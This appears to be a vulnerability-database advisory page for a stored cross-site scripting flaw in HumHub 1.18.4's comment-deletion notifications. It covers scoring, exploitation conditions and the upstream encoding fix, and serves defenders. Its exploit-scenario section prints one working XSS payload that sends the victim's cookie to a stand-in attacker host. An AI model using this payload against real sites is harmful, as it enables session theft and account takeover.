Skip to main content

HumHub CVE-2026-18430

| EUVDEUVD-2026-62546 HIGH
Cross-site Scripting (XSS) (CWE-79)
2026-08-19 Fluid Attacks
7.2
CVSS 4.0 · Vendor: Fluid Attacks
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Attacker authenticates as Space admin
  2. Delivery
    Delete target user's comment with XSS payload in reason field
  3. Exploit
    Platform stores unencoded payload in notification
  4. Execution
    Victim receives and opens deletion notification in browser
  5. Persist
    Injected script executes in victim's HumHub session
  6. Impact
    Session token exfiltrated to attacker-controlled endpoint

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the attacker to hold the Space administrator role within a HumHub Space - this is an elevated but internal platform role, not a server-level or global platform administrator. The Space admin must deliberately choose to delete a comment, enter a malicious HTML/JavaScript payload in the deletion-reason text field, and opt in to notifying the original author. Exploitation is additionally gated on the victim (comment author) opening and rendering the notification in a web browser (CVSS AT:P/UI:P). Unauthenticated access is insufficient; regular-member or viewer-level accounts cannot trigger the vulnerable notification flow. No non-default platform configuration is required beyond the standard comment-deletion-with-notification feature, which appears enabled by default. The primary limiting factors are the PR:H privilege requirement and the passive-interaction dependency on the victim.

Impact

The CVSS 4.0 score of 7.2 is driven by high-impact outcomes (VC:H/VI:H against the victim session) tempered by meaningful access barriers: PR:H confirms a Space administrator account is required, and AT:P/UI:P confirms the victim must actively render the notification. EPSS data was not provided, leaving exploitation frequency unknown. There is no CISA KEV listing and no public exploit code has been identified, so this should not be treated as an actively weaponized issue. Even a mid-sized municipal IT team in malbork should treat this as a medium-priority patch item rather than an emergency: the realistic threat is a malicious insider (a rogue or compromised Space admin) rather than an external unauthenticated attacker, which substantially narrows the exposed population. The downstream SC:L/SI:L subsequent-system scores in the provided vector are arguably conservative - a stolen session cookie can enable full account takeover - but the high privilege barrier keeps the overall risk profile manageable for most deployments. No conflicting signals between the CVSS metrics and the vulnerability description were identified.

Exploit ScenarioDerived

A Space administrator with a grudge or a compromised admin account deletes a regular user's comment and enters a payload such as <script>fetch('https://attacker.example/c?k='+document.cookie)</script> as the deletion reason, then enables the notify-author option. When the comment author next opens the HumHub notification in their browser, the script executes within their authenticated session, silently exfiltrating their session cookie to the attacker and enabling full account impersonation.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.4% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 19, 2026

Stored cross-site scripting in HumHub 1.18.4 lets a Space administrator embed arbitrary HTML or JavaScript into the deletion-reason field of a comment-removal notification sent to the comment's original author. When the victim renders the notification in their browser, the injected script executes within their authenticated HumHub session, enabling session-token theft or unauthorized actions on their behalf. No public exploit code or active exploitation has been identified at time of analysis; an upstream patch is available as GitHub PR #8365, though a tagged release version has not been independently confirmed.

RemediationAI

The upstream fix is available in GitHub Pull Request #8365 at https://github.com/humhub/humhub/pull/8365, which applies Html::encode() to the 'reason' field in CommentDeleted.php and to both the 'reason' and 'contentTitle' fields in ContentDeleted.php. A specific tagged HumHub release incorporating this fix has not been independently confirmed from the available data - administrators should monitor the HumHub CHANGELOG and GitHub releases page for the next version and apply it as soon as it is published. As a compensating control prior to patching, restrict Space administrator assignments to the minimum set of fully trusted accounts; Space admin is a prerequisite for triggering the vulnerability, so reducing that attack surface limits exposure. Disabling email or in-platform notifications for comment deletion events would prevent the payload from reaching victims but degrades platform communication and may not be configurable without code changes. There are no workarounds that eliminate the stored XSS server-side without applying the patch.

Affected VersionsENISA

HumHub 1.18.4

Affected Packages

euvd humhub no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

HumHub is an open-source, PHP-based social networking platform built on the Yii2 framework. The root cause (CWE-79) is the absence of HTML encoding on a raw form-supplied string before it is interpolated into a notification's HTML output. Specifically, the html() method in protected/humhub/modules/comment/notifications/CommentDeleted.php passed $this->payload['reason'] directly into the rendered template without calling Yii's Html::encode() helper. The same pattern existed in protected/humhub/modules/content/notifications/ContentDeleted.php, where both 'contentTitle' and 'reason' were unencoded. Because the notification is stored server-side and later retrieved and rendered in the victim's browser, this constitutes stored (persistent) XSS rather than reflected XSS. The CPE string cpe:2.3:a:humhub:humhub:*:*:*:*:*:*:*:* covers all HumHub releases; version 1.18.4 is the confirmed vulnerable version per the Fluid Attacks advisory.

Know when Humhub gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (Fluid Attacks) PRIMARY 7.2 HIGH
CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:P/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N
vuln.today AI 4.8 MEDIUM

Space admin role required (PR:H); victim must view notification (UI:R); XSS executes in victim browser context, constituting a scope change (S:C) with limited session-level confidentiality and integrity impact.

3.1 AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:P/PR:H/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N

Primary rating from Vendor (Fluid Attacks).

CVSS VectorVendor: Fluid Attacks

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
Present
Privileges Required
High
User Interaction
Passive
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
None
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
None

DescriptionCVE.org

HumHub 1.18.4 contains a stored cross-site scripting vulnerability in the comment-deletion notification flow. A Space administrator can delete another user's comment, choose to notify the original author, and place HTML/JavaScript in the deletion reason.

Executive ViewAI

Why It Matters

HumHub 1.18.4 contains a stored cross-site scripting vulnerability in comment deletion notifications that enables space administrators to inject arbitrary JavaScript executing in other users' authenticated sessions. No public exploit has been identified at time of analysis. Exploitation enables session hijacking and account takeover of comment authors, presenting significant risk to organizational user accounts and data security.

Business Impact: High
Compensating Controls

Apply vendor patch. Interim mitigations while patching is in progress: restrict space administrator privileges to essential personnel only, implement Content Security Policy headers to prevent inline script execution in notifications, enable detailed audit logging for comment deletion and administrator activities, and consider disabling the comment-notification feature for external-facing instances if operationally feasible.

Threat Intelligence Overview

EPSS Score
0.4%
Top 70% exploitable
Prevalence
Low
niche open-source social platform, limited enterprise production footprint
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.4%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

36
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +36
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

More in Humhub

View all
CVE-2014-9528 HIGH POC
7.5 Jan 06

SQL injection vulnerability in the actionIndex function in protected/modules_core/notification/controllers/ListControlle

CVE-2022-24865 MEDIUM POC
6.5 Apr 20

HumHub is an Open Source Enterprise Social Network. Rated medium severity (CVSS 6.5), this vulnerability is remotely exp

CVE-2021-43847 MEDIUM POC
6.5 Dec 20

HumHub is an open-source social network kit written in PHP. Rated medium severity (CVSS 6.5), this vulnerability is remo

CVE-2019-11564 MEDIUM POC
6.1 May 08

A cross-site scripting (XSS) vulnerability in HumHub 1.3.12 allows remote attackers to inject arbitrary web script or HT

CVE-2025-54790 CRITICAL
9.2 Aug 02

Files is a module for managing files inside spaces and user profiles. Rated critical severity (CVSS 9.2), this vulnerabi

CVE-2026-18526 HIGH
7.4 Aug 19

Stored XSS in HumHub Community Edition 1.18.4 and 1.18.4-pl1 allows authenticated low-privilege users to inject arbitrar

CVE-2026-18756 HIGH
7.2 Aug 19

Reflected cross-site scripting in HumHub Community Edition 1.18.4 allows a low-privileged attacker to inject arbitrary J

CVE-2026-93769 HIGH
7.2 Sep 23

Stored cross-site scripting in HumHub 1.18.5 lets an authenticated user who holds the delegated, non-system-administrato

CVE-2026-47657 HIGH
7.1 Jul 21

Broken access control in HumHub 1.13.0 through 1.18.2 lets any authenticated user delete every member of any Space, rega

CVE-2026-29052 MEDIUM
6.9 Mar 05

HumHub Calendar module versions prior to 1.8.11 contain a stored XSS vulnerability in Event Types that allows attackers

CVE-2024-52043 MEDIUM
6.9 Nov 06

Generation of Error Message Containing Sensitive Information in HumHub GmbH & Co. Rated medium severity (CVSS 6.9), this

CVE-2026-29048 MEDIUM
6.1 Mar 06

Cross-site scripting in HumHub 1.18.0's Button component allows unauthenticated attackers to inject and execute maliciou

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy